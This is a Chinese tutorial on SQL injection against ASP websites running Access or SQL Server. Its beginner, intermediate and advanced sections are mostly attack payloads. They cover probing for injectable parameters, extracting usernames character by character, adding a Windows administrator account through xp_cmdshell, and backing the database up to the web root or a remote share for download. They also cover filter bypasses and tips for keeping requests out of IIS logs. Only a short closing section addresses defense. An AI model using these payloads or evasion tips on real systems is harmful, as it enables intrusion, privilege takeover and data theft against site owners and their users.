SQL隱碼攻擊

beifengwang發表於2014-04-02

作者:NB聯盟-小竹

引 言

隨著B/S模式應用開發的發展,使用這種模式編寫應用程式的程式設計師也越來越多。但是由於這個行業的入門門檻不高,程式設計師的水平及經驗也參差不齊,相當大一部分程式設計師在編寫程式碼的時候,沒有對使用者輸入資料的合法性進行判斷,使應用程式存在安全隱患。使用者可以提交一段資料庫查詢程式碼,根據程式返回的結果,獲得某些他想得知的資料,這就是所謂的SQL Injection,即SQL注入。

SQL注入是從正常的WWW埠訪問,而且表面看起來跟一般的Web頁面訪問沒什麼區別,所以目前市面的防火牆都不會對SQL注入發出警報,如果管理員沒檢視IIS*志的習慣,可能被入侵很長時間都不會發覺。

但是,SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況。能不能根據具體情況進行分析,構造巧妙的SQL語句,從而成功獲取想要的資料,是高手與“菜鳥”的根本區別。

根據國情,國內的網站用ASP+Access或SQLServer的佔70%以上,PHP+MySQ佔L20%,其他的不足10%。在本文,我們從分入門、進階至高階講解一下ASP注入的方法及技巧,PHP注入的文章由NB聯盟的另一位朋友zwell撰寫,希望對安全工作者和程式設計師都有用處。瞭解ASP注入的朋友也請不要跳過入門篇,因為部分人對注入的基本判斷方法還存在誤區。大家準備好了嗎?Let's Go...

入 門 篇

如果你以前沒試過SQL注入的話,那麼第一步先把IE選單=>工具=>Internet選項=>高階=>顯示友好 HTTP 錯誤資訊前面的勾去掉。否則,不論伺服器返回什麼錯誤,IE都只顯示為HTTP 500伺服器錯誤,不能獲得更多的提示資訊。

第一節、SQL注入原理

以下我們從一個網開始(注:本文發表前已徵得該站站長同意,大部分都是真實資料)。

在網站首頁上,有名為“IE不能開啟新視窗的多種解決方法”的連結,地址為:http:///showdetail.asp?id=49,我們在這個地址後面加上單引號’,伺服器會返回下面的錯誤提示:

Microsoft JET Database Engine 錯誤 '80040e14'

字串的語法錯誤 在查詢表示式 'ID=49'' 中。

/showdetail.asp,行8

從這個錯誤提示我們能看出下面幾點:

1.網站使用的是Access資料庫,透過JET引擎連線資料庫,而不是透過ODBC。

2. 程式沒有判斷客戶端提交的資料是否符合程式要求。

3. 該SQL語句所查詢的表中有一名為ID的欄位。

從上面的例子我們可以知道,SQL注入的原理,就是從客戶端提交特殊的程式碼,從而收集程式及伺服器的資訊,從而獲取你想到得到的資料。

第二節、判斷能否進行SQL注入

看完第一節,有一些人會覺得:我也是經常這樣測試能否注入的,這不是很簡單嗎?

其實,這並不是最好的方法,為什麼呢?

首先,不一定每臺伺服器的IIS都返回具體錯誤提示給客戶端,如果程式中加了cint(引數)之類語句的話,SQL注入是不會成功的,但伺服器同樣會報錯,具體提示資訊為處理 URL 時伺服器上出錯。請和系統管理員聯絡。

其次,部分對SQL注入有一點了解的程式設計師,認為只要把單引號過濾掉就安全了,這種情況不為少數,如果你用單引號測試,是測不到注入點的

那麼,什麼樣的測試方法才是比較準確呢?答案如下:

① http:///showdetail.asp?id=49

② http:///showdetail.asp?id=49 ;;and 1=1

③ http:///showdetail.asp?id=49 ;;and 1=2

這就是經典的1=1、1=2測試法了,怎麼判斷呢?看看上面三個網址返回的結果就知道了:

可以注入的表現:

① 正常顯示(這是必然的,不然就是程式有錯誤了)

② 正常顯示,內容基本與①相同

③ 提示BOF或EOF(程式沒做任何判斷時)、或提示找不到記錄(判斷了rs.eof時)、或顯示內容為空(程式加了on error resume next)

不可以注入就比較容易判斷了,①同樣正常顯示,②和③一般都會有程式定義的錯誤提示,或提示型別轉換時出錯。

  當然,這只是傳入引數是數字型的時候用的判斷方法,實際應用的時候會有字元型和搜尋型引數,我將在中級篇的“SQL注入一般步驟”再做分析。

第三節、判斷資料庫型別及注入方法

不同的資料庫的函式、注入方法都是有差異的,所以在注入之前,我們還要判斷一下資料庫的型別。一般ASP最常搭配的資料庫是Access和SQLServer,網上超過99%的網站都是其中之一。

怎麼讓程式告訴你它使用的什麼資料庫呢?來看看:

SQLServer有一些系統變數,如果伺服器IIS提示沒關閉,並且SQLServer返回錯誤提示的話,那可以直接從出錯資訊獲取,方法如下:

http:///showdetail.asp?id=49 ;;and user>0

這句語句很簡單,但卻包含了SQLServer特有注入方法的精髓,我自己也是在一次無意的測試中發現這種效率極高的猜解方法。讓我看來看看它的含義:首先,前面的語句是正常的,重點在anduser>0,我們知道,user是SQLServer的一個內建變數,它的值是當前連線的使用者名稱,型別為nvarchar。拿一個nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQLServer的出錯提示是:將nvarchar值 ”abc” 轉換資料型別為 int 的列時發生語法錯誤,呵呵,abc正是變數user的值,這樣,不廢吹灰之力就拿到了資料庫的使用者名稱。在以後的篇幅裡,大家會看到很多用這種方法的語句。

順便說幾句,眾所周知,SQLServer的使用者sa是個等同Adminstrators許可權的角色,拿到了sa許可權,幾乎肯定可以拿到主機的Administrator了。上面的方法可以很方便的測試出是否是用sa登入,要注意的是:如果是sa登入,提示是將”dbo”轉換成int的列發生錯誤,而不是”sa”。

如果伺服器IIS不允許返回錯誤提示,那怎麼判斷資料庫型別呢?我們可以從Access和SQLServer和區別入手,Access和SQLServer都有自己的系統表,比如存放資料庫中所有物件的表,Access是在系統表[msysobjects]中,但在Web環境下讀該表會提示“沒有許可權”,SQLServer是在表[sysobjects]中,在Web環境下可正常讀取。

在確認可以注入的情況下,使用下面的語句:

http:///showdetail.asp?id=49 ;;and (select count(*) from sysobjects)>0

http:///showdetail.asp?id=49 ;;and (select count(*) from msysobjects)>0

如果資料庫是SQLServer,那麼第一個網址的頁面與原頁面http:///showdetail.asp?id=49是大致相同的;而第二個網址,由於找不到表msysobjects,會提示出錯,就算程式有容錯處理,頁面也與原頁面完全不同。

如果資料庫用的是Access,那麼情況就有所不同,第一個網址的頁面與原頁面完全不同;第二個網址,則視乎資料庫設定是否允許讀該系統表,一般來說是不允許的,所以與原網址也是完全不同。大多數情況下,用第一個網址就可以得知系統所用的資料庫型別,第二個網址只作為開啟IIS錯誤提示時的驗證。

進 階 篇

在入門篇,我們學會了SQL注入的判斷方法,但真正要拿到網站的保密內容,是遠遠不夠的。接下來,我們就繼續學習如何從資料庫中獲取想要獲得的內容,首先,我們先看看SQL注入的一般步驟:

第一節、SQL注入的一般步驟

首先,判斷環境,尋找注入點,判斷資料庫型別,這在入門篇已經講過了。

其次,根據注入引數型別,在腦海中重構SQL語句的原貌,按引數型別主要分為下面三種:

(A) ID=49 這類注入的引數是數字型,SQL語句原貌大致如下:
Select * from 表名 where 欄位=49
注入的引數為ID=49 And [查詢條件],即是生成語句:
Select * from 表名 where 欄位=49 And [查詢條件]

(B) Class=連續劇 這類注入的引數是字元型,SQL語句原貌大致概如下:
Select * from 表名 where 欄位=’連續劇’
注入的引數為Class=連續劇’ and [查詢條件] and ‘’=’ ,即是生成語句:
Select * from 表名 where 欄位=’連續劇’ and [查詢條件] and ‘’=’’

(C) 搜尋時沒過濾引數的,如keyword=關鍵字,SQL語句原貌大致如下:
Select * from 表名 where 欄位like ’%關鍵字%’
注入的引數為keyword=’ and [查詢條件] and ‘%25’=’, 即是生成語句:
Select * from 表名 where欄位like ’%’ and [查詢條件] and ‘%’=’%’

接著,將查詢條件替換成SQL語句,猜解表名,例如:

ID=49 And (Select Count(*) from Admin)>=0

如果頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法)。如此迴圈,直至猜到表名為止。

表名猜出來後,將Count(*)替換成Count(欄位名),用同樣的原理猜解欄位名。

有人會說:這裡有一些偶然的成分,如果表名起得很複雜沒規律的,那根本就沒得玩下去了。說得很對,這世界根本就不存在100%成功的駭客技術,蒼蠅不叮無縫的蛋,無論多技術多高深的駭客,都是因為別人的程式寫得不嚴密或使用者保密意識不夠,才有得下手。

有點跑題了,話說回來,對於SQLServer的庫,還是有辦法讓程式告訴我們表名及欄位名的,我們在高階篇中會做介紹。

最後,在表名和列名猜解成功後,再使用SQL語句,得出欄位的值,下面介紹一種最常用的方法-Ascii逐字解碼法,雖然這種方法速度很慢,但肯定是可行的方法。

我們舉個例子,已知表Admin中存在username欄位,首先,我們取第一條記錄,測試長度:

http:///showdetail.asp?id=49 ;;and (select top 1 len(username) from Admin)>0

先說明原理:如果top 1的username長度大於0,則條件成立;接著就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>7成立,>8不成立,就是len(username)=8

  當然沒人會笨得從0,1,2,3一個個測試,怎麼樣才比較快就看各自發揮了。在得到username的長度後,用mid(username,N,1)擷取第N位字元,再asc(mid(username,N,1))得到ASCII碼,比如:

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同樣也是用逐步縮小範圍的方法得到第1位字元的ASCII碼,注意的是英文和數字的ASCII碼在1-128之間,可以用折半法加速猜解,如果寫成程式測試,效率會有極大的提高。

第二節、SQL注入常用函式

有SQL語言基礎的人,在SQL注入的時候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL水平,特別是一些常用的函式及命令。

Access:asc(字元) SQLServer:unicode(字元)

作用:返回某字元的ASCII碼

Access:chr(數字) SQLServer:nchar(數字)

作用:與asc相反,根據ASCII碼返回字元

Access:mid(字串,N,L) SQLServer:substring(字串,N,L)

作用:返回字串從N個字元起長度為L的子字串,即N到N+L之間的字串

Access:abc(數字) SQLServer:abc (數字)

作用:返回數字的絕對值(在猜解漢字的時候會用到)

Access:A between B And C SQLServer:A between B And C

作用:判斷A是否界於B與C之間

第三節、中文處理方法

在注入中碰到中文字元是常有的事,有些人一碰到中文字元就想打退堂鼓了。其實只要對中文的編碼有所瞭解,“中文恐懼症”很快可以克服。

先說一點常識:

Access中,中文的ASCII碼可能會出現負數,取出該負數後用abs()取絕對值,漢字字元不變。

SQLServer中,中文的ASCII為正數,但由於是UNICODE的雙位編碼,不能用函式ascii()取得ASCII碼,必須用函式unicode ()返回unicode值,再用nchar函式取得對應的中文字元。

瞭解了上面的兩點後,是不是覺得中文猜解其實也跟英文差不多呢?除了使用的函式要注意、猜解範圍大一點外,方法是沒什麼兩樣的。

高 級 篇

看完入門篇和進階篇後,稍加練習,破解一般的網站是沒問題了。但如果碰到表名列名猜不到,或程式作者過濾了一些特殊字元,怎麼提高注入的成功率?怎麼樣提高猜解效率?請大家接著往下看高階篇。

第一節、利用系統表注入SQLServer資料庫

SQLServer是一個功能強大的資料庫系統,與作業系統也有緊密的聯絡,這給開發者帶來了很大的方便,但另一方面,也為注入者提供了一個跳板,我們先來看看幾個具體的例子:

① master..xp_cmdshell “net user name password /add”--

  分號;在SQLServer中表示隔開前後兩句語句,--表示後面的語句為註釋,所以,這句語句在SQLServer中將被分成兩句執行,先是Select出ID=1的記錄,然後執行儲存過程xp_cmdshell,這個儲存過程用於呼叫系統命令,於是,用net命令新建了使用者名稱為name、密碼為password的windows的帳號,接著:

② master..xp_cmdshell “net localgroup name administrators /add”--

  將新建的帳號name加入管理員組,不用兩分鐘,你已經拿到了系統最高許可權!當然,這種方法只適用於用sa連線資料庫的情況,否則,是沒有許可權呼叫xp_cmdshell的。

  ③ ;;and db_name()>0

前面有個類似的例子and user>0,作用是獲取連線使用者名稱,db_name()是另一個系統變數,返回的是連線的資料庫名。

④ ;backup database 資料庫名 to disk=’c:\inetpub\wwwroot\1.db’;--

這是相當狠的一招,從③拿到的資料庫名,加上某些IIS出錯暴露出的絕對路徑,將資料庫備份到Web目錄下面,再用HTTP把整個資料庫就完完整整的下載回來,所有的管理員及使用者密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網路地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

  ⑤ ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面說過,sysobjects是SQLServer的系統表,儲存著所有的表名、檢視、約束及其它物件,xtype=’U’ and status>0,表示使用者建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯資訊把表名暴露出來。第二、第三個表名怎麼獲取?還是留給我們聰明的讀者思考吧。

⑥ ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

從⑤拿到表名後,用object_id(‘表名’)獲取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個欄位名,將1換成2,3,4...就可以逐個獲取所猜解表裡面的欄位名。

  以上6點是我研究SQLServer注入半年多以來的心血結晶,可以看出,對SQLServer的瞭解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之後,我在開發方面的水平也得到很大的提高,呵呵,也許安全與開發本來就是相輔相成的吧。

第二節、繞過程式限制繼續注入

在入門篇提到,有很多人喜歡用’號測試注入漏洞,所以也有很多人用過濾’號的方法來“防止”注入漏洞,這也許能擋住一些入門者的攻擊,但對SQL注入比較熟悉的人,還是可以利用相關的函式,達到繞過程式限制的目的。

在“SQL注入的一般步驟”一節中,我所用的語句,都是經過我最佳化,讓其不包含有單引號的;在“利用系統表注入SQLServer資料庫”中,有些語句包含有’號,我們舉個例子來看看怎麼改造這些語句:

簡單的如where xtype=’U’,字元U對應的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字元是中文的,比如where name=’使用者’,可以用where name=nchar(29992)+nchar(25143)代替。

第三節、經驗小結

1.有些人會過濾Select、Update、Delete這些關鍵字,但偏偏忘記區分大小寫,所以大家可以用selecT這樣嘗試一下。

2.在猜不到欄位名時,不妨看看網站上的登入表單,一般為了方便起見,欄位名都與表單的輸入框取相同的名字。

3.特別注意:位址列的+號傳入程式後解釋為空格,%2B解釋為+號,%25解釋為%號,具體可以參考URLEncode的相關介紹。

4.用Get方法注入時,IIS會記錄你所有的提交字串,對Post方法做則不記錄,所以能用Post的網址儘量不用Get。

5. 猜解Access時只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區別即可,但是如果能用SQLServer的報錯資訊把值暴露出來,那效率和準確率會有極大的提高。

防 範 方 法

SQL注入漏洞可謂是“千里之堤,潰於蟻穴”,這種漏洞在網上極為普遍,通常是由於程式設計師對注入不瞭解,或者程式過濾不嚴格,或者某個引數忘記檢查導致。在這裡,我給大家一個函式,代替ASP中的Request函式,可以對一切的SQL隱碼攻擊Say NO,函式如下:

function SafeRequest(ParaName,ParaType)
'--- 傳入引數 ---
'ParaName:引數名稱-字元型
'ParaType:引數型別-數字型(1表示以上引數是數字,0表示以上引數為字元)

Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "引數" & ParaName & "必須為數字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function

文章到這裡就結束了,不管你是安全人員、技術愛好者還是程式設計師,我都希望本文能對你有所幫助

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